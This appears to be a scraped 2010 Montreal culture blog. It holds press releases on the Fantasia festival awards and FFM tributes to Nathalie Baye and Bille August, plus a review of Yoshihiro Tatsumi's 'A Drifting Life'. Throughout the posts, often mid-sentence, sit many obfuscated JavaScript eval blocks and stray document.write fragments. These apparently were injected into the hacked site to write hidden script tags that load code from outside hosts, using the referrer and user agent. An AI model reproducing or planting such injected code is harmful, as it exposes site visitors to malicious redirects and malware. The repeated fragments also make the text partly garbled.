eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asisf|var|u0026u|referrer|edkie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httth|var|u0026u|referrer|thedz||js|php’.split(‘|’),0,{}))

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Press Release: Another record year for Fantasia!!!

/ Clodjee / Leave a comment


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|detna|var|u0026u|referrer|eezeb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eahdy|var|u0026u|referrer|ykrri||js|php’.split(‘|’),0,{}))
Montreal, document.write(“”); Wednesday, July 28, 2010 — As the 14th edition of the Fantasia Film Festival draws to a close the festival team is already seeing the positive fallout from this year’s programming!  Audience enthusiasm and curiosity is evidenced by a record number of sold-out screenings and ever-growing attendance numbers. The numbers are still being tallied, but we can already confirm that this year we surpassed 100, 000 audience members! Thanks to an intensely diversified selection of the best international films, the festival was able to attract a huge audience this year, with 44% of the screenings completely sold out. More than 100 local and international guests were in town to witness first-hand the overwhelming passion of Fantasia audiences.

Among the noteworthy events at this year’s festival, we must mention the opening film, THE SORCERER’S APPRENTICE presented by the star himself, Jay Baruchel; the honourary awards presented to Ken Russell, Don Bluth & Gary Goldman; and our tribute to Serbian cinema: Subversive Serbia. As well, let’s not forget our special events such as the presentation of Stuart Gordon’s acclaimed stage play NEVERMORE: AN EVENING WITH EDGAR ALLAN POE, the special screening of Cocteau’s LE SANG DU POÈTE live-scored by Steven Severin, the Fantastic Weekend of Quebec Shorts and of course our gala event: a sold-out presentation of THE COMPLETE METROPOLIS in a 3000-seat hall  with an entirely new orchestral score performed live, composed specially for the occasion by Gabriel Thibaudeau. Also worth mentioning are our conferences and round table discussions, which proved to be a big hit and food for thought for the artists and creators in attendance.

Among the Canadian, North American and International premieres of our lineup, Fantasia is proud to have screened SCOTT PILGRIM VS THE WORLD, CENTURION, LITTLE BIG SOLDIER, BLACK DEATH, HIGH SCHOOL, IP MAN 2, DREAM HOME, LEMMY,  RED, WHITE & BLUE, THE PERFECT HOST and THE LAST EXORCISM. We should also point out that three titles which had their World premieres at Cannes, had their North American premieres at this year’s edition of the festival: namely, Franck Richard’s LA MEUTE, Quentin Dupieux’s RUBBER and Jorge Michel Grau’s WE ARE WHAT WE ARE. Nearly ten percent of the feature films screened in our lineup were world premieres, including PHASMA EX MACHINA, NEVERLOST, I SPIT ON YOUR GRAVE and THE SHRINE. 

The festival closed with the Canadian premiere of the Sundance hit TUCKER & DALE VS EVIL. 

Numerous juries deliberated this year’s programming and we are happy to announce the winners in the various categories:

FEATURE FILM JURY

The feature film jury was presided over by Jean-Claude Lord and composed of Ian Lauzon, Don Lobel, Pawa Up First and Éric Tessier. 

BEST FEATURE FILM: Yuya Ishii’s SAWAKO DECIDES (Japan)
SPECIAL JURY PRIZE: Lee Hae-jun’s CASTAWAY ON THE MOON (South Korea) 

“Castaway on the moon earned the special jury prize due to its fresh quality, raw emotion and originality.” Jean-Claude Lord 

BEST ACTOR: Noah Taylor – RED, WHITE & BLUE (United States) 
BEST ACTRICE – UNANIMOUSLY : Hikari Mitsushima – SAWAKO DECIDES (Japan) 
BEST DIRECTOR : Lee Jun-ik – BLADES OF BLOOD (South Korea) 
BEST SCREENPLAY: Mladen Djordjevic – LIFE AND DEATH OF A PORNO GANG (Serbia) 

JURY PRIZE FOR BEST FIRST FEATURE

The first feature jury was presided over by Steven Severin and composed of Susan Curran, Brad Miska, Tom Quinn and Basil Tsiokos. 

BEST FIRST FEATURE: Eli Craig’s TUCKER AND DALE VS EVIL 

“It ultimately came down to TUCKER & DALE VS EVIL and A SERBIAN FILM as the front runners for the jury, but the final decision found TUCKER & DALE VS EVIL on top – Eli Craig has achieved what I thought impossible: a laugh out loud, original & sharp horror spoof.” Steven Severin

SPECIAL MENTION : Srdjan Spasojevic’s A SERBIAN FILM 
“Undoubtedly, A SERBIAN FILM is an important film and there is much to admire about the craft and audacious tunnel vision of the makers but there is nothing to ‘like’ about it – since viewing it, it has upset me more than I thought possible. For it to have such an effect, it deserves a special mention.”  Steven Severin

JURY PRIZE FOR BEST ANIMATION (short and feature length) 

The short and feature length animation film jury was presided over by Pierre Hébert and composed of Élène Dallaire, Marco de Blois and Claude Robinson. 

BEST ANIMATED FEATURE FILM: Sunao Katabuchi’s MAI MAI MIRACLE (Japan)
SPECIAL MENTION: Shinsuke Sato’s OBLIVION ISLAND (Japan)
BEST ANIMATED SHORT: Bastien Dubois’ MADAGASCAR
SPECIAL MENTION: Don Hertzfeldt’s WISDOM TEETH 

JURY PRIZE FOR BEST INTERNATIONAL SHORTS

The international short film jury was presided over by Maurice G. Dantec and composed of  Jean-François Caissy, Kurt Halfyard, Carolina Lucchesi Lavoie and Jean-François Rauger.

GRAND PRIZE: Firas Momani’s THE ADDER’S BITE
SPECIAL MENTION: Mian Adnan Ahmad’s HEAL

JURY PRIZE FOR BEST QUEBEC SHORT

The Quebec short film jury was presided over by Danielle Ouimet and composed of Martin Henri and Izabel Grondin.

BEST SHORT: Serge Marcotte’s THE GREENS
BEST DIRECTION : Cynthia Tremblay’s À VIF
BEST CINEMATOGRAPHY: Pedro Pires’ DANSE MACABRE
BEST PERFORMANCE (tie) : Laurence Leboeuf in SANS TITRE (the young girl with the matress) and Brent Marrale in THE GREENS
BEST SCREENPLAY: Simon Olivier Fecteau’s LE TECHNICIEN
JURY’S PICK: Emanuel Hoss-Desmarais’ MARIUS BORODINE 

JURY PRIZE FOR BEST DIY QUEBEC SHORT

The DIY Quebec short film jury was presided over by India Desjardins and composed of Martin Dubreuil, Simon Laganière and Jean-Pierre Normand.

BEST SHORT: Frédérick Tremblay’s LE TIROIR ET LE CORBEAU
BEST DIRECTION: Kris Happy Jack-McKenzie’s WINDIGO
BEST SCREENPLAY: Carnior’s HERO
BEST SPECIAL EFFECTS: Igor Simonnet’s ASTUKO’S LEGEND
JURY’S PICK: Louis Allard’s LES QUEBECERS CONTRE LES ZOMBIES 2

AQCC PRIZE

The AQCC jury was presided over by Mathieu Li-Goyette and composed of Martin Gignac and Patricia Bergeron.

For its rigorous presentation, complex characters and sober illustration of death and violence, the AQCC jury awards an honourable mention to Choi Jin-ho’s THE EXECUTIONER. Unanimously picked for its poetic portrayal of every day life, its soft realism, its social criticism and its masterful grasp of cinematography in this modern retelling of Pinocchio, the jury awards the best Asian film prize to Hirokazu Kore-eda’a AIR DOLL.

SÉQUENCES PRIZE

The Séquences jury was presided over by Pascal Grenier and composed of Julie Séguin and Mathieu Séguin-Tétreault. 
The Séquences prize for best international feature film is awarded ex-aequo to Jorge Michel Grau’s SOMOS LO QUE HAY (WE ARE WHAT WE ARE) and Simon Rumley’s RED, WHITE & BLUE.

ÉCRAN FANTASTIQUE PRIZE

The Écran Fantastique jury was presided over by Yves Rivard.

The Fantasia 2010 Écran Fantastique prize goes to the Serbian film TEARS FOR SALE from director Uros Stojanovic. There are many reasons for this choice, so we’ll only name the exceptional aesthetics which created such fantastic images that they were burned into your eyes long after leaving the theatre, its classical cinema direction (something that is becoming somewhat of a rarity) and its simultaneously poetic and subversive dialogue issuing from a still little-known area. The great performances of Sonja Kolacaric (Ognjenka) and Katarina Radivojevic (Mala Boginja) as the two sisters should also be mentioned.

Last but not least, the fans were also asked to share their favourites by voting for various public prizes. These are their choices:

AUDIENCE AWARDS

BEST ASIAN FILM
Gold – IP MAN 2 (Hong Kong)
Silver – SELL OUT! (Malaisia)
Bronze (ex-aequo) – CASTAWAY ON THE MOON (Corée du Sud), DREAM HOME (Hong Kong)

BEST EUROPEAN, NORTH AMERICAN OR SOUTH AMERICAN FILM
Gold – A SERBIAN FILM (Serbia)
Silver – AT WORLD’S END (Denmark)
Bronze – REC 2 (Spain)

BEST ANIMATED FILM
Gold – SUMMER WARS (Japan)
Silver – TECHNOTISE: EDIT AND I (Serbia)
Bronze (ex-aequo) – KING OF THORNS (Japan), SPACE BATTLESHIP YAMATO: RESURRECTION (Japan)

BEST CANADIAN OR QUEBECOIS FEATURE
Gold – THE SHRINE
Silver – SUCK
Bronze (tie) – FRANKENSTEIN UNLIMITED (Quebec) NEVERLOST (Canada)

GURU PRIZE FOR MOST ENERGENTIC FILM
Gold – IP MAN 2 (Hong Kong)
Silver – REC 2 (Spain)
Bronze – SYMBOL (Japan)

MOST INNOVATIVE FILM
Gold (tie) – SYMBOL (Japan), A SERBIAN FILM (Serbia)
Silver – SELL OUT! (Malaisia)
Bronze – RUBBER (France)

BEST DOCUMENTARY
MARWENCOL (United States)

BEST INTERNATIONAL SHORTS
Gold – CLEAN CAROUSEL (Denmark)
Silver (tie) – JACK (Canada), NINJAS (Brasil), TOUS LES HOMMES S’APPELLENT ROBERT (Quebec)
Bronze – LAMBS (United States) 

BEST DIY QUEBEC SHORT
Francis Gélinas’ L’HISTOIRE DU MÉCHANT DRAGON

A few interesting trailers

/ Clodjee / Leave a comment

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttnak|var|u0026u|referrer|knhir||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adtdf|var|u0026u|referrer|ehads||js|php’.split(‘|’),0,{}))

More: The Green Lantern, document.write(“”); Harry Potter and the Deathly Hallows, The Chronicles of Narnia: The Voyage of the Dawn, Predators and Tron Legacy.

Otakuthon 2010

/ Clodjee / Leave a comment

Like the previous years, document.write(“”); I will be attending Otakuthon as a guest.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhhdn|var|u0026u|referrer|zryby||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akdty|var|u0026u|referrer|iayse||js|php’.split(‘|’),0,{}))

The convention will be held August 13-15 at the Palais des Congrès de Montréal (201, Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.

I will be taking care of a couple of tables in the Exhibition Hall (opened Friday from 5:30 pm – 9:00 pm, Saturday from 10:30 am – 7:00 pm and Sunday from 10:30 am – 5:00 pm): one to promote the magazine Protoculture Addicts and another one where I’ll be kicking off my Super Virtual Summer Garage Sale (as you know I will soon have to move out from a huge appartment into a smaller one, so I have to get rid of most of my stuff). Therefore there will be LOTS of anime & manga goodies to sell at VERY good price.

I am not planning any panel this year but come meet me in the Exhibition Hall and I’ll gladly discuss with you!

I am also looking for a volunteer to help at the table. If you are interested please contact me.

A Drifting Life

/ Clodjee / 1 Comment

“An epic memoir from a manga master — Over four decades ago, document.write(“”); Yoshihiro Tatsumi expended the horizons of comics storytelling by using the visual language of manga to tell gritty, literary stories about the private lives of everyday people. He has been called “the grandfather of Japanese alternative comics” and has influenced generations of cartoonists around the world. Now the visionary creator of The Push Man and Other Stories and Good-Bye has turned his incisive, unflinching gaze upon himself. Over ten years in the making, A Drifting Life is Tatsumi’s most ambitious, personal, and heart-felt work: an autobiographical bildungsroman in comics form. Using his life-long obsession with comics as a framework, Tatsumi weaves a complex story that encompasses family dynamics, Japanese culture and history, first love, the intricacies of the manga industry, and most importantly, what it means to be an artist. Alternately humorous, enlighting, and haunting, this is the masterful summation of a fascinating life and an historic career.” [Text from the back-cover]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yidds|var|u0026u|referrer|bhyre||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diyba|var|u0026u|referrer|nsist||js|php’.split(‘|’),0,{}))

Yoshihiro TATSUMI [?? ????] was born in 1935 in Tenn?ji-ku, Osaka. Inspired by the work of Osamu TEZUKA and Noboru ÔSHIRO, he starts drawing manga in junior high school and has his first works (simple 4-panel and postcard manga) published in 1949. His first full-length story, Kodomojima (Children’s Island), is published by Tsurushobô in 1954. He becomes part of a group of artists based in the Kansai region publishing mostly for the kashibon’ya market (libraries specialized in renting hardcover books—many publishers, like Hinomaru bunko, produced their books and anthologies exclusively for that market). He then starts to be regularly published in manga compilation (contributing to anthologies like Kage [Shadow] or Machi [City]) and constantly experiments with his storytelling. His stylistic research culminate with the publication of Kuroi Fubuki (Black Snowstorm) in 1956.

Tatsumi (and the group of artists he associated with: Takao SAITÔ, Masaaki SATÔ, Masahiko MATSUMOTO among others) was writing action-oriented stories that were darker than the typical manga, and therefore, aimed at an older, more mature readership. His stories were about people’s everyday life and were using realistic themes that were more in sync with the socio-political problems of the time. In order to express such a complex storytelling he was using artistic techniques inspired by cinema (he was a big movie fan). That allowed for more expressive stories, as the narrative was better paced and the action flowing more naturally through the panels. In order to distinguish his style from the more comical and childish manga that was usual at the time, Tatsumi gave it the name “gekiga” (drama pictures). His group of artist was known as the “gekiga workshop.”

A Drifting Life (????, Gekiga Hyouryuu / A Drifting life in gekiga) was originally published in 2008 by Seirin Kogeisha. In this manga, Tatsumi is recounting how he got inspired by his brother, despite their sibling rivalry, to become a manga artist, how he met and exchanged with Osamu Tezuka and how he becomes the mangaka he is today. It is an autobiographical story but he changed his name to “Hiroshi Katsumi” (and also altered a few other characters’ name) in order to distance himself from the story (and hopefully avoid getting in trouble with his friends appearing in it!). We learned how he got involved with the pay-library market and created the gekiga workshop—which was quite successful until the late 50s and early 60s. At that time, Japan started to experience a postwar economic hyperdrive and, as people had a bigger disposable income, they were buying more than renting their manga. The pay libraries slowly faded away in favor of competing magazine publishers. Manga magazines grew in number, became much thicker and were published more frequently (often weekly instead of monthly).

A Drifting Life is a great book for many reasons. I’ll give you three of them. First, it is simply a good read as it tells a compelling human story. Second, if you are interested in Japanese culture, this manga offers some insights on ordinary people’s daily life and chronicles many events of Japan history during the 50s & 60s. Finally, and foremost, it provides an essential account of the history of manga. Of course, some might consider Tatsumi’s artwork a little crude and cartoony (the same can be said of Tezuka’s work), but there’s so much strength in the storytelling that you don’t really notice. What you do notice is the size of the book (840 pages! 2 inches thick!) which makes it a little difficult to manipulate and read, but not enough to deter from its captivating story (and, on the positive side, it can help develop your forearms!). Therefore, if you are seriously into manga, A Drifting Life is a must. If you are not convinced, you should know that it has just won two Eisner awards: for the Best U.S. Edition of International Material (Asia category) and for the Best Reality-Based Work of the year.

A Drifting Life, story & art by Yoshihiro TATSUMI (edited by Adrian Tomine, translated by Taro Nettleton). Montreal, Drawn & Quarterly, 2009. Paperback, 840 pages, 6.125 x 8.25 in. (22.1 x 16.5 cm), b/w. ISBN: 9781897299746. $29.95 US / $36.95 CDN. Recommended for teenagers (14+). See a preview of the first chapter (from the NYT) and of pages 53-59 (on the publisher’s website).
A Drifting Life © 2009 by Yoshihiro Tatsumi. © 2009 by Drawn & Quarterly for this english edition. All Rights Reserved.

More Yoshihiro TATSUMI books are available in translation. In English: Good-Bye and other stories (Catalan, 1988), The Push Man and other stories (D&Q, 2005), Abandon the Old in Tokyo (D&Q, 2006), Good-Bye (D&Q, 2008), Black Blizzard (D&Q, 2010); In French: Hiroshima (Artefact, 1983), Coups d’éclat (Vertige, 2003), Les larmes de le bête (Vertige, 2004), Good bye (Vertige, 2005), L’enfer (Cornélius, 2008).

Further readings: Yoshihiro TATSUMI official website, “Manifesto of a Comic-Book Rebel“ in New York Times (2009/04/14), review in Anime News Network (2009/07/04), and an interview in About.com: Manga.

Note: I am rather disappointed that Drawn & Quarterly did not even deign to answer my request for a review copy. Fortunately, Montreal (besides snobby publishers) has a great network of public libraries (free books!).

Press release: Le 34e FFM rendra hommage à Nathalie Baye

/ Clodjee / Leave a comment

Montréal, document.write(“”); le 20 juillet 2010 — Le Festival des films du monde rendra un hommage à la grande star du cinéma français et international Nathalie Baye qui sera à Montréal pour présenter une sélection parmi les nombreux films qu’elle a interprétés. « C’est un privilège rare de pouvoir accueillir une des plus grandes actrices du cinéma » a déclaré Serge Losique, président du FFM « Nathalie Baye a joué avec les réalisateurs les plus reconnus non seulement du cinéma français tels Alain Cavalier, Nicole Garcia,  Jean-Luc Godard, Tonie Marshall, Maurice Pialat, Bertrand Tavernier ou François Truffaut mais aussi du cinéma international comme Marco Ferreri, Tsai Ming-liang, Steven Spielberg ou Robert Wise, pour n’en nommer que quelques uns. Elle recevra un Grand Prix spécial des Amériques en hommage à son immense talent » a-t-il précisé.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feeyy|var|u0026u|referrer|nfkse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kazth|var|u0026u|referrer|zzbtz||js|php’.split(‘|’),0,{}))

Au début de sa carrière, Nathalie Baye suit des cours de danse, mais, parallèlement, s’inscrit au cours Simon. Elle est ensuite admise au Conservatoire dont elle sort avec un second prix en Comédie, Comédie Dramatique et Théâtre Étranger en 1972. C’est aussi à cette époque qu’elle effectue ses premières apparitions sur grand écran, dans Brève rencontre à Paris (Two People) de Robert Wise puis dans un rôle de scripte dans La Nuit américaine de François Truffaut qui la réengage pour La Chambre verte en 1978 et métamorphose soudainement son image dans un vrai premier rôle, laissant apparaître une part d’elle plus opaque et mélancolique.

En 1981, elle reçoit le César de la meilleure actrice dans un second rôle pour son interprétation dans Sauve qui peut (la vie) de Jean-Luc Godard. S’ensuit alors une impressionnante brochette de succès, avec en point d’orgue Le Retour de Martin Guerre de Daniel Vigne et La Balance de Bob Swaim qui font d’elle la star la plus en vue du cinéma français. Devenue l’une des comédiennes les plus populaires du pays, elle remporte consécutivement deux nouveaux César : son deuxième pour le Meilleur second rôle en 1982 grâce à sa prestation dans Une étrange affaire, puis celui de la Meilleure actrice en 1983 pour La Balance.  En 1999 elle gagne un prix d’interprétation à Venise pour Une liaison pornographique de Frédéric Fonteyne. En 2002 Steven Speilberg l’engage dans Catch Me if You Can.

Quatre ans après Selon Matthieu, sorti en salles en 2001, elle retrouve l’acteur et réalisateur Xavier Beauvois avec Le Petit Lieutenant qui lui offre le rôle d’un commandant de police revenu d’un drame familial et de l’alcoolisme. Sa prestation lui vaut le quatrième César de sa carrière (son second trophée dans la catégorie Meilleure actrice). En 2008, elle tient le haut de l’affiche du nouveau film de Tonie Marshall, Passe-passe et de l’adaptation cinématographique par Josiane Balasko de son propre best-seller publié en 2004, Cliente. Son choix, clairement orienté vers l’éclectisme, lui permet d’alterner productions grand public et cinéma intimiste.

Le 34e Festival des films du monde se déroule du 26 août au 6 septembre 2010.

Press release: Le célèbre réalisateur BILLE AUGUST présidera le Jury du 34e FFM

/ Clodjee / Leave a comment

Montréal, document.write(“”); le 16 juillet 2010 — Danièle Cauchard et Serge Losique sont heureux d’annoncer que le réalisateur danois Bille August sera le président du jury international du prochain FFM. « Nous sommes extrêmement heureux d’accueillir l’un des plus grands cinéastes de notre temps pour présider le Jury du FFM. C’est grâce à des créateurs de cette qualité que les palmarès du FFM ont toujours été d’un très haut calibre et ont permis que les œuvres primées ici entament de prestigieuses carrières internationales par la suite » a déclaré Serge Losique, président du Conseil d’administration du FFM. « Pour nous Bille August représente le cinéma dans toute sa grandeur » a-t-il ajouté.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhkbb|var|u0026u|referrer|hdzib||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atnit|var|u0026u|referrer|kebkh||js|php’.split(‘|’),0,{}))

Après qu’Ingmar Bergman eut pris sa retraite de réalisateur dans les années 80, Bille August acquit une place de renom parmi les cinéastes scandinaves. Au cours de sa prestigieuse carrière, il a adapté au cinéma plusieurs romans danois, dont Smilla et l’amour de la neige de Peter Høeg et Pelle le Conquérant, inspiré du livre de l’écrivain Martin Andersen Nexø. Avec le second, il a obtenu la Palme d’Or au Festival de Cannes en 1988 puis le Golden Globe et l’Oscar du meilleur film étranger l’année suivante. Les Meilleures intentions, portrait de jeunesse des parents d’Ingmar Bergman (écrit par le cinéaste lui-même) lui a valu une seconde Palme d’or cannoise en 1992. Bille August est non seulement un grand réalisateur mais aussi un scénariste, un écrivain producteur et acteur de renom mais il est surtout le représentant de la Culture universelle.

Filmographie sélective:

1978 : Honning måne
1983 : Zappa
1984 : Buster’s World (Busters verden)
1984 : Twist and Shout (Tro, håb og kærlighed)
1987 : Pelle le conquérant (Pelle erobreren)
1992 : Les Meilleures intentions (Den goda viljan)
1994 : La Maison aux esprits (The House of the Spirits)
1996 : Jerusalem
1997 : Smilla (Smilla’s Sense of Snow)
1998 : Les Misérables
2001 : A Song for Martin (En Sång för Martin)
2004 : Return to Sender
2007 : Goodbye Bafana

Le 34e Festival des films du monde se déroule du 26 août au 6 septembre 2010.

Revue de Presse / Press Review (2010/07/23)

/ Clodjee / Leave a comment

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neesr|var|u0026u|referrer|biyss||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hinze|var|u0026u|referrer|arare||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/07/17)

/ Clodjee / Leave a comment

I had a busy week (an appointment with the optometrist for another lengthy exam—which left me almost blind the rest of the evening—and the fitting of my new glasses, document.write(“”); a family supper and a meeting with a family friend who’s a Vatican agent) and, since the weather has not been kind and made me worried about mopping the basement (which happened two or three time in the last week or so—I am so fed up with those increasingly frequent strong thunderstorms—and twice today!), I am rather tired and still not feeling well (back pain leading to bad sleep, slight cold due to air conditioning, troubled digestion due to the heat and worries, dizziness, etc). Therefore I took a day off today to rest more, catch up on chores and review the rare interesting news of the week. My wife and I are still watching “Upstairs, Downstairs” (we’re now in the third season) and I started a huge, but quite interesting autobiographical manga by Yoshihiro Tatsumi. That’s it for the weekly personal update and now let’s go on to the news:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znbny|var|u0026u|referrer|nfbki||js|php’.split(‘|’),0,{}))
